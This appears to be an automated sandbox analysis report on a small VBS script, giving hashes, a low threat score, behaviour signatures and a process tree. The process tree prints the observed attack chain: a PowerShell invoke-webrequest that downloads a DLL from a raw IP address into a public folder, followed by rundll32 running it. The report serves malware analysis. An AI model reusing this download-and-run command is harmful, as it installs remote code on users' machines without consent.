Analysis

  • max time kernel
    121s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2023 00:26

General

  • Target

    f82d9e6af44e041b56f823fbf7a662402d55160e1960aafedb76e99c51aea2ad_JC.vbs

  • Size

    1KB

  • MD5

    8eea4458d209fb6889a9e8f64d2c2ba0

  • SHA1

    5047e7539d28ac9074cdd35417d87200b5b155f2

  • SHA256

    f82d9e6af44e041b56f823fbf7a662402d55160e1960aafedb76e99c51aea2ad

  • SHA512

    7387ed843ac5df365f1c73ed3d054365c1ba3e29ea669e00b4da5c2d0de84d47d8854f59eec49c8cea08aee59cddc9552f02158a384a9f554bff3444c7e342fa

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f82d9e6af44e041b56f823fbf7a662402d55160e1960aafedb76e99c51aea2ad_JC.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://128.140.97.33/3g08oae1kx.dll' -outfile 'c:\users\public\name.dll';
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2396
    • C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
      2⤵
        PID:2780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2396-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

      Filesize

      2.9MB

    • memory/2396-5-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/2396-6-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2396-7-0x0000000002A40000-0x0000000002AC0000-memory.dmp

      Filesize

      512KB

    • memory/2396-8-0x0000000002A40000-0x0000000002AC0000-memory.dmp

      Filesize

      512KB

    • memory/2396-9-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2396-10-0x0000000002A40000-0x0000000002AC0000-memory.dmp

      Filesize

      512KB

    • memory/2396-11-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB